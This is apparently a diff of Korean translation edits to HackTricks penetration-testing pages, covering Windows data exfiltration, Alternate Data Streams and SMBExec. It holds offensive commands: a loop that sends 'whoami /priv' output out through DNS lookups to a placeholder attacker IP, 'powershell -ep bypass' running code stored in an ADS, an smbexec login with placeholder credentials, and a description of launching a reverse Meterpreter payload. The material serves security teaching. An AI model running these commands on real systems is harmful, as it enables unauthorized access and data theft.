|||
#More complex commands
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
||||
```
|
||||
출력을 **리다이렉트**하고, 그 다음 **읽을** 수도 있습니다.
|
||||
출력을 **리다이렉트**하고, 그 다음 **읽을** 수 있습니다.
|
||||
```
|
||||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||||
|
@ -391,7 +391,7 @@ return 0;
|
|||
```
|
||||
## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream)
|
||||
|
||||
**예제는** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**에서 가져왔습니다! 더 많은 내용이 있습니다!**
|
||||
**예제는** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**에서 가져왔습니다! 더 많은 예제가 있습니다!**
|
||||
```bash
|
||||
## Selected Examples of ADS Operations ##
|
||||
|
||||
|
@ -419,9 +419,9 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -29,15 +29,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### **SMBExec**에 대한 주요 사항
|
||||
|
||||
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"), 이진 파일을 드롭하지 않습니다.
|
||||
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"). 이 과정에서 이진 파일을 떨어뜨리지 않습니다.
|
||||
- 은밀한 접근 방식에도 불구하고, 실행된 각 명령에 대한 이벤트 로그를 생성하여 비대화형 "셸"의 형태를 제공합니다.
|
||||
- **Smbexec**를 사용하여 연결하는 명령은 다음과 같습니다:
|
||||
```bash
|
||||
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||
```
|
||||
### 이진 파일 없이 명령 실행
|
||||
### 이진 파일 없이 명령 실행하기
|
||||
|
||||
- **Smbexec**는 서비스 binPaths를 통해 직접 명령 실행을 가능하게 하여, 대상에 물리적 이진 파일이 필요하지 않습니다.
|
||||
- **Smbexec**는 서비스 binPaths를 통해 직접 명령 실행을 가능하게 하여, 대상에 물리적 이진 파일이 필요 없게 합니다.
|
||||
- 이 방법은 Windows 대상에서 일회성 명령을 실행하는 데 유용합니다. 예를 들어, Metasploit의 `web_delivery` 모듈과 결합하면 PowerShell을 대상으로 하는 역 Meterpreter 페이로드를 실행할 수 있습니다.
|
||||
- cmd.exe를 통해 제공된 명령을 실행하도록 binPath가 설정된 원격 서비스를 공격자의 머신에서 생성함으로써, 서비스 응답 오류가 발생하더라도 Metasploit 리스너와 함께 콜백 및 페이로드 실행을 성공적으로 수행할 수 있습니다.
|
||||
|
||||
|
@ -55,7 +55,7 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**해커의 관점에서 웹 앱, 네트워크 및 클라우드를 분석하세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -71,7 +71,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue